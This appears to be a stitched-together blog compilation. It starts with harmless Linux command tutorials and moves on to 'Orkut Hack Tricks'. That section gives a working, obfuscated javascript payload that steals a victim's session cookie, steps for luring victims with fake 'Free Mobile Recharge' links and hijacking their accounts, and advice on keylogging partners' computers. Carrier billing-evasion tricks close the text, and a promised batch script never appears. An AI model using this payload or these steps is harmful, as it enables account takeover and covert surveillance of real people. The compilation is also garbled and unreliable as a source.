IP

LINUX HACK 17

Chapter 4: Essential Linux Commands
Hack 17.

Grep Command
 
grep command is used to search files for a specific text. This is incredibly powerful command with lot of options.
Syntax: grep [options] pattern [files]
 

How can I find all lines matching a specific keyword on a file?
In this example, grep looks for the text John inside /etc/passwd file and displays all the matching lines.
# grep John /etc/passwd
 

jsmith:x:1082:1082:John Smith:/home/jsmith:/bin/bash
jdoe:x:1083:1083:John Doe:/home/jdoe:/bin/bash
 

Option -v, will display all the lines except the match. In the example below, it displays all the records from /etc/password that doesn't match John.
Note: There are several lines in the /etc/password that doesn’t contain the word John. Only the first line of the output is shown below.
# grep -v John /etc/passwd
jbourne:x:1084:1084:Jason Bourne:/home/jbourne:/bin/bash
 

How many lines matched the text pattern in a particular file?
In the example below, it displays the total number of lines that contains the text John in /etc/passwd file.

# grep -c John /etc/passwd
2
You can also get the total number of lines that did not match the specific pattern by passing option -cv.
# grep -cv John /etc/passwd
39
 

How to search a text by ignoring the case?
Pass the option -i (ignore case), which will ignore the case while searching.
# grep -i john /etc/passwd
jsmith:x:1082:1082:John Smith:/home/jsmith:/bin/bash
jdoe:x:1083:1083:John Doe:/home/jdoe:/bin/bash
 

How do I search all subdirectories for a text matching a specific pattern?
Use option -r (recursive) for this purpose. In the example below, it will search for the text "John" by ignoring the case inside all the subdirectories under /home/users.
This will display the output in the format of "filename: line that matching the pattern". You can also pass the option -l, which will display only the name of the file that matches the pattern.
# grep -ri john /home/users
/home/users/subdir1/letter.txt:John, Thanks for your contribution.
/home/users/name_list.txt:John Smith

/home/users/name_list.txt:John Doe
# grep -ril john /root
/home/users/subdir1/letter.txt
/home/users/name_list.txt




LINUX HACK 16

Hack 16.
SSH Session Statistics using SSH Escape Character:
 
To get some useful statistics about the current ssh session, do the following. This works only on SSH2 client.
1. Login to remotehost from localhost.
localhost$ ssh -l jsmith remotehost
2. On the remotehost, type ssh escape character ~ followed by s as shown below. This will display lot of useful statistics about the current SSH connection.
remotehost$ [Note: The ~s is not visible on the command line when you type.]
remote host: remotehost
local host: localhost
remote version: SSH-1.99-OpenSSH_3.9p1
local version: SSH-2.0-3.2.9.1 SSH Secure Shell (non-commercial)
compressed bytes in: 1506
uncompressed bytes in: 1622
compressed bytes out: 4997
uncompressed bytes out: 5118
packets in: 15
packets out: 24
rekeys: 0
Algorithms:
Chosen key exchange algorithm: diffie-hellman-group1-sha1
Chosen host key algorithm: ssh-dss
Common host key algorithms: ssh-dss,ssh-rsa
Algorithms client to server:
Cipher: aes128-cbc
MAC: hmac-sha1
Compression: zlib

Algorithms server to client:
Cipher: aes128-cbc
MAC: hmac-sha1
Compression: zlib
localhost$




LINUX HACK 15

Hack 15. 
Toggle SSH Session using SSH Escape Character:
 
When you’ve logged on to the remotehost using ssh from the localhost, you may want to come back to the localhost to perform some activity and go back to remote host again. In this case, you don’t need to disconnect the ssh session to the remote host. Instead, follow the steps below.
 

1. Login to remotehost from localhost:
localhost$ ssh -l jsmith remotehost



2. Now you are connected to the remotehost:
remotehost$
 

3. To come back to the localhost temporarily, type the escape character ~ and Control-Z.
When you type ~ you will not see that immediately on the screen until you press <Control-Z> and press enter. So, on the remotehost in a new line enter the following key strokes for the below to work: ~<Control-Z>
remotehost$ ~^Z
[1]+ Stopped ssh -l jsmith remotehost
localhost$
 

4. Now you are back to the localhost and the ssh remotehost client session runs as a typical UNIX background job, which you can check as shown below:
localhost$ jobs
[1]+ Stopped ssh -l jsmith remotehost
 

5. You can go back to the remote host ssh without entering the password again by bringing the background ssh remotehost session job to foreground on the localhost.
localhost$ fg %1
ssh -l jsmith remotehost
remotehost$



LINUX HACK 14

Hack 14.
Debug SSH Client Session:
 
Sometimes it is necessary to view debug messages to troubleshoot any SSH connection issues. pass -v (lowercase v) option to the ssh as shown below to view the ssh debug messages.
Example without SSH client debug message:
localhost$ ssh -l jsmith remotehost.example.com
warning: Connecting to remotehost.example.com failed: No address associated to the name



Example with SSH client debug message:
locaclhost$ ssh -v -l jsmith remotehost.example.com
debug:

SshConfig/sshconfig.c:2838/ssh2_parse_config_ext:
Metaconfig parsing stopped at line 3.
 

debug:
SshConfig/sshconfig.c:637/ssh_config_set_param_verbose:
Setting variable ‘VerboseMode’ to ‘FALSE’.
 

debug:
SshConfig/sshconfig.c:3130/ssh_config_read_file_ext:
Read 17 params from config file.
 

debug: 
Ssh2/ssh2.c:1707/main: User config file not found, using defaults. (Looked for ‘/home/jsmith/.ssh2/ssh2_config’)
 

debug: 
Connecting to remotehost.example.com, port 22… (SOCKS not used)
warning: Connecting to remotehost.example.com failed: No address associated to the name




LINUX HACK 13

Hack 13.
Login to Remote Host using SSH:
 
The First time when you login to a remotehost from a localhost, it will display the host key not found message and you can give “yes” to continue. The host key of the remote host will be added under .ssh2/hostkeys directory of your home directory, as shown below.
localhost$ ssh -l jsmith remotehost.example.com
Host key not found from database.
Key fingerprint:
xabie-dezbc-manud-bartd-satsy-limit-nexiu-jambl-title-jarde-tuxum
You can get a public key’s fingerprint by running
% ssh-keygen -F publickey.pub

on the keyfile.
Are you sure you want to continue connecting (yes/no)? Yes
Host key saved to /home/jsmith/.ssh2/hostkeys/key_22_remotehost.example.com.pub
host key for remotehost.example.com, accepted by jsmith Mon May 26 2008 16:06:50 -0700
jsmith@remotehost.example.com password:
remotehost.example.com$
The Second time when you login to the remote host from the localhost, it will prompt only for the password as the remote host key is already added to the known hosts list of the ssh client.
localhost$ ssh -l jsmith remotehost.example.com
jsmith@remotehost.example.com password:
remotehost.example.com$
For some reason, if the host key of the remote host is changed after you logged in for the first time, you may get a warning message as shown below. This could be because of various reasons such as:
o Sysadmin upgraded/reinstalled the SSH server on the remote host
o Someone is doing malicious activity etc.,
The best possible action to take before saying “yes” to the message below, is to call your sysadmin and identify why you got the host key changed message and verify whether it is the correct host key or not.
localhost$ ssh -l jsmith remotehost.example.com
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-

middle attack)!
It is also possible that the host key has just been changed.
Please contact your system administrator.
Add correct host key to “/home/jsmith/.ssh2/hostkeys/key_22_remotehost.example.com.pub”
to get rid of this message.
Received server key’s fingerprint:
xabie-dezbc-manud-bartd-satsy-limit-nexiu-jambl-title-arde-tuxum
You can get a public key’s fingerprint by running
% ssh-keygen -F publickey.pub
on the keyfile.
Agent forwarding is disabled to avoid attacks by corrupted servers.
Are you sure you want to continue connecting (yes/no)? yes
Do you want to change the host key on disk (yes/no)? yes
Agent forwarding re-enabled.
Host key saved to /home/jsmith/.ssh2/hostkeys/key_22_remotehost.example.com.pub
host key for remotehost.example.com, accepted by jsmith Mon May 26 2008 16:17:31 -0700
jsmith @remotehost.example.com’s password:
remotehost$



LINUX HACK 12

Chapter 3: SSH Client Commands:
Hack 12. 

Identify SSH Client Version:
 
Sometimes it may be necessary to identify the SSH client that you are currently running and it’s corresponding version number. Use ssh –V to identify the version number. Please note that Linux comes with OpenSSH.
The following example indicates that this particular system is using OpenSSH:
$ ssh -V
OpenSSH_3.9p1, OpenSSL 0.9.7a Feb 19 2003
The following example indicates that this particular system is using SSH2:
$ ssh -V
ssh: SSH Secure Shell 3.2.9.1 (non-commercial version) on i686-pc-linux-gnu




LINUX HACK 11

Hack 11. 
Display Future Date and Time:
 
Following examples shows how to display a future date and time.
$ date
Thu Jan 1 08:30:07 PST 2009
$ date --date='3 seconds'
Thu Jan 1 08:30:12 PST 2009
$ date --date='4 hours'
Thu Jan 1 12:30:17 PST 2009
$ date --date='tomorrow'
Fri Jan 2 08:30:25 PST 2009
$ date --date="1 day"
Fri Jan 2 08:30:31 PST 2009
$ date --date="1 days"
Fri Jan 2 08:30:38 PST 2009
$ date --date="2 days"
Sat Jan 3 08:30:43 PST 2009
$ date --date='1 month'
Sun Feb 1 08:30:48 PST 2009
$ date --date='1 week'
Thu Jan 8 08:30:53 PST 2009
$ date --date="2 months"
Sun Mar 1 08:30:58 PST 2009
$ date --date="2 years"
Sat Jan 1 08:31:03 PST 2011
$ date --date="next day"
Fri Jan 2 08:31:10 PST 2009

$ date --date="-1 days ago"
Fri Jan 2 08:31:15 PST 2009
$ date --date="this Wednesday"
Wed Jan 7 00:00:00 PST 2009
 






LINUX HACK 10

Hack 10. 
Display Past Date and Time:
Following are various ways to display a past date and time:
$ date --date='3 seconds ago'
Thu Jan 1 08:27:00 PST 2009
$ date --date="1 day ago"
Wed Dec 31 08:27:13 PST 2008
$ date --date="1 days ago"
Wed Dec 31 08:27:18 PST 2008
$ date --date="1 month ago"
Mon Dec 1 08:27:23 PST 2008
$ date --date="1 year ago"
Tue Jan 1 08:27:28 PST 2008
$ date --date="yesterday"
Wed Dec 31 08:27:34 PST 2008
$ date --date="10 months 2 day ago"
Thu Feb 28 08:27:41 PST 2008






LINUX HACK 9

Hack 9.
Display Current Date and Time in a Specific Format:
 
Following are different ways of displaying the current date and time in various formats:

$ date
Thu Jan 1 08:19:23 PST 2009
$ date --date="now"
Thu Jan 1 08:20:05 PST 2009
$ date --date="today"
Thu Jan 1 08:20:12 PST 2009
$ date --date='1970-01-01 00:00:01 UTC +5 hours' +%s
18001
$ date '+Current Date: %m/%d/%y%nCurrent Time:%H:%M:%S'
Current Date: 01/01/09
Current Time:08:21:41
$ date +"%d-%m-%Y"
01-01-2009
$ date +"%d/%m/%Y"
01/01/2009
$ date +"%A,%B %d %Y"
Thursday,January 01 2009
Following are the different format options you can pass to the date command:
o %D date (mm/dd/yy)
o %d day of month (01..31)
o %m month (01..12)
o %y last two digits of year (00..99)
o %a locale’s abbreviated weekday name (Sun..Sat)
o %A locale’s full weekday name, variable length (Sunday..Saturday)
o %b locale’s abbreviated month name (Jan..Dec)
o %B locale’s full month name, variable length (January..December)
o %H hour (00..23)
o %I hour (01..12)
o %Y year (1970…)



LINUX HACK 8

Hack 8.
Set Hardware Date and Time:
Before setting the hardware date and time, make sure the OS date and time is set appropriately as shown in the hack#7.
Set the hardware date and time based on the system date as shown below:
# hwclock –systohc
# hwclock --systohc –utc
Use hwclock without any parameter, to view the current hardware date and time:
# hwclock
Check the clock file to verify whether the system is set for UTC:
# cat /etc/sysconfig/clock
ZONE="America/Los_Angeles"
UTC=false
ARC=false




LINUX HACK 7

Chapter 2: Date Manipulation
Hack 7:

Set System Date and Time:
 
To change the system date use:
# date {mmddhhmiyyyy.ss}
o mm – Month
o dd – Date
o hh – 24 hour format
o mi – Minutes
o yyyy – Year
o ss – seconds
For example, to set system date to Jan 31st 2008, 10:19 p.m, 53 seconds
# date 013122192009.53
You can also change system date using set argument as shown below.
# date 013122192009.53
# date +%Y%m%d -s "20090131"
# date -s "01/31/2009 22:19:53"
# date -s "31 JAN 2009 22:19:53"
# date set="31 JAN 2009 22:19:53"
To set the time only:
# date +%T -s "22:19:53"

# date +%T%p -s "10:19:53PM"


LINUX HACK 6

Hack 6. 
Use “shopt -s cdspell” to automatically correct mistyped directory names on cd:
 
Use shopt -s cdspell to correct the typos in the cd command automatically as shown below. If you are not good at typing and make lot of mistakes, this will be very helpful.
# cd /etc/mall
-bash: cd: /etc/mall: No such file or directory
# shopt -s cdspell
# cd /etc/mall
# pwd
/etc/mail
[Note: By mistake, when I typed mall instead of mail,
cd corrected it automatically]



LINUX HACK 5

Hack 5.
Use dirs, pushd and popd to manipulate directory stack:
 
You can use directory stack to push directories into it and later pop directory from the stack. Following three commands are used in this example.

o dirs: Display the directory stack
o pushd: Push directory into the stack
o popd: Pop directory from the stack and cd to it
Dirs will always print the current directory followed by the content of the stack. Even when the directory stack is empty, dirs command will still print only the current directory as shown below.
# popd
-bash: popd: directory stack empty
# dirs
~
# pwd
/home/ramesh
How to use pushd and popd? Let us first create some temporary directories and push them to the directory stack as shown below.
# mkdir /tmp/dir1
# mkdir /tmp/dir2
# mkdir /tmp/dir3
# mkdir /tmp/dir4
# cd /tmp/dir1
# pushd .
# cd /tmp/dir2
# pushd .
# cd /tmp/dir3
# pushd .
# cd /tmp/dir4
# pushd .

# dirs
/tmp/dir4 /tmp/dir4 /tmp/dir3 /tmp/dir2 /tmp/dir1
[Note: The first directory (/tmp/dir4) of the dir command output is always the current directory and not the content from the stack.]
At this stage, the directory stack contains the following directories:
/tmp/dir4
/tmp/dir3
/tmp/dir2
/tmp/dir1
The last directory that was pushed to the stack will be at the top. When you perform popd, it will cd to the top directory entry in the stack and remove it from the stack. As shown above, the last directory that was pushed into the stack is /tmp/dir4. So, when we do a popd, it will cd to the /tmp/dir4 and remove it from the directory stack as shown below.
# popd
# pwd
/tmp/dir4
[Note: After the above popd, directory Stack Contains:
/tmp/dir3
/tmp/dir2
/tmp/dir1]
# popd
# pwd
/tmp/dir3
[Note: After the above popd, directory Stack Contains:
/tmp/dir2
/tmp/dir1]
# popd

# pwd
/tmp/dir2
[Note: After the above popd, directory Stack Contains: /tmp/dir1]
# popd
# pwd
/tmp/dir1
[Note: After the above popd, directory Stack is empty!]
# popd
-bash: popd: directory stack empty




LINUX HACK 4

Hack 4.
Use “cd -” to toggle between the last two directories:
 
You can toggle between the last two current directories using cd - as shown below.
# cd /tmp/very/long/directory/structure/that/is/too/deep
# cd /tmp/subdir1/subdir2/subdir3
# cd -
# pwd
/tmp/very/long/directory/structure/that/is/too/deep
# cd -
# pwd
/tmp/subdir1/subdir2/subdir3
# cd -
# pwd
/tmp/very/long/directory/structure/that/is/too/deep




LINUX HACK 3

Hack 3. 
Perform mkdir and cd using a single command:
 
Sometimes when you create a new directory, you may cd to the new directory immediately to perform some work as shown below.
# mkdir -p /tmp/subdir1/subdir2/subdir3
# cd /tmp/subdir1/subdir2/subdir3
# pwd
/tmp/subdir1/subdir2/subdir3
Wouldn’t it be nice to combine both mkdir and cd in a single command? Add the following to the .bash_profile and re-login.
$ vi .bash_profile
function mkdircd () { mkdir -p "$@" && eval cd "\"\$$#\""; }
Now, perform both mkdir and cd at the same time using a single command as shown below:

# mkdircd /tmp/subdir1/subdir2/subdir3
[Note: This creates the directory and cd to it automatically]
# pwd
/tmp/subdir1/subdir2/subdir3




LINUX HACK 2

Hack 2. 
Use cd alias to navigate up the directory effectively:
 
When you are navigating up a very long directory structure, you may be using cd ..\..\ with multiple ..\’s depending on how many directories you want to go up as shown below.
# mkdir -p /tmp/very/long/directory/structure/that/is/too/deep
# cd /tmp/very/long/directory/structure/that/is/too/deep
# pwd
/tmp/very/long/directory/structure/that/is/too/deep
# cd ../../../../
# pwd
/tmp/very/long/directory/structure
Instead of executing cd ../../../.. to navigate four levels up, use one of the following three alias methods:

Method 1: Navigate up the directory using “..n”:
In the example below, ..4 is used to go up 4 directory level, ..3 to go up 3 directory level, ..2 to go up 2 directory level. Add the following alias to your ~/.bash_profile and re-login.
alias ..="cd .."
alias ..2="cd ../.."
alias ..3="cd ../../.."
alias ..4="cd ../../../.."
alias ..5="cd ../../../../.."
# cd /tmp/very/long/directory/structure/that/is/too/deep
# ..4
[Note: use ..4 to go up 4 directory level]
# pwd
/tmp/very/long/directory/structure/
Method 2: Navigate up the directory using only dots
In the example below, ….. (five dots) is used to go up 4 directory level. Typing 5 dots to go up 4 directory structure is really easy to remember, as when you type the first two dots, you are thinking “going up one directory”, after that every additional dot, is to go one level up. So, use …. (four dots) to go up 3 directory level and .. (two dots) to go up 1 directory level. Add the following alias to your ~/.bash_profile and re-login for the ….. (five dots) to work properly.
alias ..="cd .."
alias ...="cd ../.."
alias ....="cd ../../.."
alias .....="cd ../../../.."
alias ......="cd ../../../../.."
# cd /tmp/very/long/directory/structure/that/is/too/deep
# .....
[Note: use ..... (five dots) to go up 4 directory level]
# pwd
/tmp/very/long/directory/structure/
Method 3: Navigate up the directory using cd followed by consecutive dots:
In the example below, cd….. (cd followed by five dots) is used to go up 4 directory level. Making it 5 dots to go up 4 directory structure is really easy to remember, as when you type the first two dots, you are thinking “going up one directory”, after that every additional dot, is to go one level up. So, use cd…. (cd followed by four dots) to go up 3 directory level and cd… (cd followed by three dots) to go up 2 directory level. Add the following alias to your ~/.bash_profile and re-login for the above cd….. (five dots) to work properly.
alias cd..="cd .."
alias cd...="cd ../.."
alias cd....="cd ../../.."
alias cd.....="cd ../../../.."
alias cd......="cd ../../../../.."
# cd /tmp/very/long/directory/structure/that/is/too/deep
# cd.....
[Note: use cd..... to go up 4 directory level]
# pwd
/tmp/very/long/directory/structure
Method 4: Navigate up the directory using cd followed by number:
In the example below, cd4 (cd followed by number 4) is used to go up 4 directory level.
alias cd1="cd .."
alias cd2="cd ../.."
alias cd3="cd ../../.."
alias cd4="cd ../../../.."
alias cd5="cd ../../../../.."



Powerful CD Command Hacks

Chapter 1: Powerful CD Command Hacks:
 
cd is one of the most frequently used commands during a UNIX session. The 6 cd command hacks mentioned in this chapter will boost your productivity instantly and make it easier to navigate the directory structure from command line.
Hack 1. Use CDPATH to define the base directory for cd command
If you are frequently performing cd to subdirectories of a specific parent directory, you can set the CDPATH to the parent directory and perform cd to the subdirectories without giving the parent directory path as explained below.
[ramesh@dev-db ~]# pwd
/home/ramesh
[ramesh@dev-db ~]# cd mail
-bash: cd: mail: No such file or directory
[Note: This is looking for mail directory under current directory]
[ramesh@dev-db ~]# export CDPATH=/etc
[ramesh@dev-db ~]# cd mail
/etc/mail
[Note: This is looking for mail under /etc and not under current directory]
[ramesh@dev-db /etc/mail]# pwd
/etc/mail
To make this change permanent, add export CDPATH=/etc to your ~/.bash_profile
Similar to the PATH variable, you can add more than one directory entry in the CDPATH variable, separating them with : , as shown below.
export CDPATH=.:~:/etc:/var
This hack can be very helpful under the following situations:
o Oracle DBAs frequently working under $ORACLE_HOME, can set the CDPATH variable to the oracle home
o Unix sysadmins frequently working under /etc, can set the CDPATH variable to /etc
o Developers frequently working under project directory /home/projects, can set the CDPATH variable to /home/projects
o End-users frequently accessing the subdirectories under their home directory, can set the CDPATH variable to ~ (home directory)




ABOUT HACKING

Contents



1. Introduction

2. History

3.Categories of Hackers

4. Hacking in the real world

5.Hackers Motivation & Hacking Attacking

6.Hacking Techniques

7.Security

8.Conclusion



HACKING




1. Introduction to Hacking:


The Internet, like any other new media historically, provides new methods of engaging in illegal activities. That is not to say that the Internet is intrinsically 'bad', as many tabloid journalists would have us to believe, it is simply a means for human beings to express themselves and share common interests. Unfortunately, many of these common interests include pornography, trading Warez (pirated software), trading illegal MP3 files, and engaging in all kinds of fraud such as credit card fraud
Hacking on the other hand is a greatly misrepresented activity as portrayed by the wider media and Hollywood movies.

Although many hackers go on from being computer enthusiasts to Warez pirates, many also become system administrators, security consultants or website managers.

Orkut Hacking Tricks

Orkut Hacking Tricks :

Orkut Hack Tricks are much popular in todays social n/w era.Few days ago, one of my friend was orkutting and suddenly he found that so many scraps and photos were deleted from his account. He shocked and decided to monitor own orkut account. So, he monitored his Orkut Account for one week and found that someone was deleting data continuously.
Yes, he is victim of Orkut Hack Tricks.
As everyone knows, Orkut is social networking site from web giant Google. Irrespective of many security measures, pros can easily Hack Orkut account of dummies using Orkut hack tricks. So, In this article, i am explaining how Orkut Hack tricks take place and how to prevent Orkut Hack tricks.
Basically, there are three ways by which one can perform orkut hack Tricks to hack Orkut Account of victims.
4 Ways of Orkut Hack Tricks :

1) Orkut Hack Tricks by Javascript (Cookie Stealing) (Most used from last 2 years and most working)
2) Orkut Hack Tricks by keylogging (Useful on public computer/if you have access to victims machine).
3) Orkut Hack Tricks by Google Account Hacking Tricks (Sometimes works).
4) Orkut Hack Tricks by phishing (My favourite and somewhat difficult).

1) Orkut Hack Tricks by Javascript

Do you receive any message showing "hot orkut theme!!!" ? Do clicked on it ? If ans wer is ‘yes',then you were hacked. Yes it is most used orkut hack Tricks type nowdays. When you click on such link, Orkut cookie (which is stored on your  machine) is stolen and in turn your orkut account password is hacked.
Click here for Orkut hack Tricks via JavaScript Orkut Hacking

2) Orkut Hack Tricks by Key logging

Key logging is easier orkut hack Tricks than phishing if you have access to victims machine.If you thought your boyfriend/girlfriend/hubby is cheating with you,you can easily apply these Orkut hack Tricks by using a good key logger.

Key Logger:

Key logger is s/w which tracks key strokes you made on your key board. Day by day technology is developing and today key loggers come with following features in addition to basic key logging feature :
1) Hidden Mode
: Not visible in task manager or program files or programs.
2) Auto email :
Automatically Send emails to  hackers email address.
3) Undetectable by Anti virus s/w.
Here is in depth and easy tutorial : 

Orkut Hack Tricks by using key logging.

Phishing :

 

Phishing is yet another type of Orkut hack tricks. You can hack orkut even though you do not have direct access to victims machine. i.e. remote hacking. In better words, phishing is not hacking but it is tricking victim to gain his/her user name and password. The basic requirement for orkut phishing is orkut phisher and anonymous email client.
Here is in depth and easy tutorial : 
Orkut Hack Tricks by using key logging.

Orkut hacking by Google account hack:

It is quite different way of orkut hack Tricks. As everyone know,every orkut account require a email address as user name. You can use either email address from Google(Gmail) address or email address from any third third party email client (e.g. Yahoo,Hot mail etc). So, if you hacked gmail account, that mean you hacked orkut account too.
I will shortly come with article to explain how to hack orkut using Google account hack.



Read more: http://www.articlesbase.com/security-articles/orkut-hacking-orkut-hack-tricks-2808337.html#ixzz15MyQOZeK
Under Creative Commons License: Attribution


Orkut Hack Tricks

Orkut Hack Tricks:

Do you receive any message/scraps which is advertising "cool/hot Orkut theme" ? Do you click on that link to change your Orkut theme ? Or Do you receive any message saying "Free Mobile Recharge" ? Do you click on that link ? If your answer is “yes” then you are victim of Orkut Hack Tricks.And this is most used Orkut Hack Tricks type known as “Orkut Java Script Hacking” or “Orkut Hack Tricks via cookie Stealing”.
Hi friendz, this third art from my article series Orkut Hack Tricks. In first two articles, I explained Orkut Hack Tricks via keylogging and Orkut Hack Tricks via phishing. And in this article I am explaining how to hack orkut via Cookie Stealing(Java Script hacking) i.e. Orkut hack Tricks by Java Script Hacking.
What is JavaScript :

 Java Script is programming in general and scripting in particular language which is used by most of the web developers.
Orkut Hack Tricks by JavaScript Hacking ( Cookie Stealing) :
To perform Orkut Hacking(Cookie Stealing), you should require following two things :
1) Mozilla Firefox Web Browser (version 3.5 or earlier) download here
2) Cookie Editor Plug-in for Mozilla Firefox download here
3) JavaScript for Orkut Hack Tricks :


javascript:nobody=replyForm;nobody.toUserId.value=YOURUIDHERE;
nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));
nobody.action='Scrapbook.aspx?Action.writeScrapBasic';nobody.submit()


I advice you that while performing this tutorial do not use your legal Orkut Account. But instead use any fake account.
Orkut Hack Tricks :
1) Login to your orkut account. Now click on “Profile” link.
2) You will Found Something like this at address bar of Firefox :


3) Copy the UID shown by arrow in image and replace with ”YOURUIDHERE” in the JavaSvript.
4) Now send this link to your victim by scrap with words like “Free Mobile Recharge” or “Hot Shakira Video”.
Now, just check your scrapbook, when victim click on link, you will find his cookie in your scrapbook.
5) Now, Go to Tools-> Cookie Editor. and press ‘Refresh’.
6) Double Click on it replace with Victim’s cookie. And put your UID in the place of victims UID and Logout from your Orkut account and login again.
Thats it. Now, You are in victim’s Homepage.
And, You successfully applied Orkut Hack Tricks .


Ethical hacking: the next generation security specialists:

 Ethical hacking: the next generation security specialists:



 The positive learning background behind ethical hacking, and the side where black hat hackers attack websites in attempt to gain exposure and cause damage.


There are a handful of universities which offer degree courses on ethical hacking, the side of hacking which students learn how to hack to prevent attacks from the outside. Not only that, security implications and designing security procedures into networks and corporate perimeters are integral in this learning process.


I spoke to Christopher Laing, the Digital Security programme leader and teaching fellow at Northumbria University about the course they offer, the content, the prerequisites and how these next generation students go into the workplace and even outside the security arena.


How can ethical hacking change the ways for students, but also companies, governments and corporations?



If you mean how can ethical hacking change the way in which organizations deal with computer/data security – in short it can’t. Only legislation, pressure from insurance business, the loss of reputation, or the PCI DSS can change the way in organizations handle data securely.

Increase Broadband Speed Using Simple Tweak

Increase Broadband Speed Using Simple Tweak:

 

A Simple Tweak (XP Pro only) which will increase your Broadband Speed.Make sure you Log on as Administrator, not as a user with Administrator privileges.


Follow the steps as given below-

1) Click on Start Button.

2)
Select Run From Start Menu.

3)
Type gpedit.msc

4)
Expand the [Administrative Templates] branch.

5)
Then Expand the [Network] branch.

6)
Highlight(Select by Single Click) [QoS Packet Scheduler]

7)
Double-click [Limit Reservable Bandwidth] (Available in Right Side Panel)

8)
Check(Select By Single Click on it) [Enabled]

9)
Change [Bandwidth limit %] to 0 %

10)
Click [OK] Button.

11)
Restart Your PC.

12)
Now Check Your Broadband Speed. 



Get back your Hacked email account

Get back your Hacked email account:

 
As a matter of fact we all use email accounts for our personal, business use and for many other proposes. But has your email account ever been HACKED! I know that the idea itself is a big disaster, because if some one hacks and takes control of your email account which contain your sensitive/confidential data like your Credit card,Bank login,Personal information etc.., it would be a real nightmare for you as i said before.
If you are such internet user, this post is for you and i hope this post helps you..

Solution for Gmail users:

It really hurts If your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut, picasa etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.

Possibility-1:
Try to reset your gmail password by password reset link given below as it is the easiest way to get back your hacked account.In this case Gmail will ask you to enter your secret answer or to send the password details to the secondary email account or to your phone via sms.


If you can't find the solution with Possibility-1 then its time to try Possibility-2.
Possibility-2:The reason why you are not able to get success is, In many cases hacker will change your secret question or secondary email or phone number.

Now whats the deal! Just click the link below and go to "Gmail
password recovery form" and follow the steps given.

Step 1:Enter your hacked email address.

Step 2:Enter given Captcha.

Step 3:Select "I no longer have access to these" and press "continue".


Step 4:Fill up the given form..
Thats it, if you fill the form with correct details, gmail team will review your account and contact you within 24 hours.With that you will get back your Hacked gmail account back.

Solution for Yahoo/Hotmail users:

Sorry to say this, for now there is no way you can get your account back other than resetting your password by using password reset link given in there homepage(usually they may ask for your secret answer or to send the password details to your secondary email account).

I hope that this post helps you, pls pass your comments. 


 
 



Command Prompt Tricks

Command Prompt Tricks Tips & Hacks:

There are lot of command prompt tricks and tips which many of us don’t know about.it is the part of unix.Command prompt can be very useful if you know how to use.Just go to cmd and check the following cool commands
 1. systeminfo
With this command, you can retrieve the following information:
Host Name
OS Name
OS Version
OS Manufacturer
OS Configuration
OS Build Type
Registered Owner etc

2. driverquery
Get Installed Driver Information
3. ipconfig /all
information about your network connection and IP address

4.
subst W: C:windows
 Map A Drive Letter to a Folder
5. tasklist 
List All Tasks Running On The Computer
6.taskkill /im programnames.exe /f
to Kill A Program



Free Rapidshare Premium Account Hack

Free Rapidshare Premium Account Hack:
There are many ways to get Free Rapidshare Premium Accounts.If you like to download lot of free stuff  must need to have Free Rapidshare Premium Account .You can get these premium account easily.Here is a site which can provide you premium rapidshare account.This site will not cost for joining its free.
Free technique for rapidshare and megashare premium accounts.
Click on following link and register:

http://www.freepremiumaccounts.com/
Now all you require is 6 referrals which you can easily make with temporary ID.
Refering 6 people is not a bad deal for free rapidshare and megashare premium accounts.

Get rapidshare premium account for FREE.
Just REGISTER..
You can share your method to get Free Rapidshare Premium Account  here

enjoy your Free Rapidshare Premium Account .

Folder Lock With Password Without Any Software

Folder Lock With Password Without Any Software-

Paste the code given below in notepad and 'Save' it as batch file (with extension '.bat').
Any name will do.
Then you see a batch file. Double click on this batch file to create a folder locker.
New folder named 'Locker' would be formed at the same location.
Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'.
If you want to unlock your files,double click the batch file again and you would be prompted for password.
Enter the password and enjoy access to the folder.

Access Free Airtel GPRS Using TeaShark Browser

Access Free Airtel GPRS Using TeaShark Browser:


TeaShark, a mobile browser
like Opera Mini, allow you to access Airtel GPRS for FREE.
Shockingly it has nothing to do with modifying any Airtel settings or any kind of hack.


Here is how I used this…


* Download TeaShark v. 312. Its free and being JAR file it can be installed on most handsets.
* Open it from your mobile and select AirTel Live as access point
.
* That’s it! Open any site from TeaShark and you won’t be charged anything.


Note for the first time, when TeaShark starts, it may take more than one minute to initialize. Also this one time initialization may fail many times. But don’t loose your heart!


As of now, this trick is limited to handsets only.


Note : “Subscribe to Packet Data First”
This means you need to activate AirTel Live service which is free.
Contact customer care to get it activated.
Also select only AirTel Live as access point when prompted by TeaShark.


Download TeaShark :
http://teashark.com/download.html

AIRTEL TRICKS

Latest Airtel Hack:

 Now a days Airtel gives New option
to the Subscriber to access Mobile Office daily @ Rs.25.00/- per day. But this is too Costly.
Only 24 hours and the cost
is Rs.25.00 Oh GOD!!


But I got a Trick that’s help me to Activate my Mobile Office whole 30 days only for 25.00/. Its really good.


Just follow the Trick-
1) Your account balance should be above 25.00 for the first time.
2) Activate your mobile office by dialing *444*1#. You will Activate your Mobile Office in the Morning.
3) You got an Activation msg. Your account
should deducted by Rs. 25.00/-
4) After that your can enjoy mobile office for 24 hours.
5) But for unlimited access you will do this :: Just switch off your mobile from 7.00 am to 10.00am. and your account balance should be below 25.00 /
6) Just try it enjoy the whole world only by 25.00.


I am Sure you should be Benefited. JUST TRY IT!!!!!!!!!


 




VODAFONE TRICKS

Vodafone Hack For Free GPRS:
 

This method has been tested on different mobiles and has been confirmed to be working.
Followng are the Settings you require to configure on your Mobile:

Account Name: Vodafone_gprs
Homepage: http://live.vodafone.in
User Name: (no need)
Pass: (no need)

Access Point
Settings :-
Proxy: Enabled
Proxy Address: 10.10.1.100
Proxy Port: 9401
Data Bearer: Packet Data

Bearer Settings :-
Packet Data Access
Point: portalnmms
Network type: IPV4
Authentication: normal
User Name: (no need)
Password: (no need)

*IF that happen this settings is not working then change the proxy port number to:-

Proxy Port: 9401






Vodafone Free GPRS Tricks Unlimited 2010:

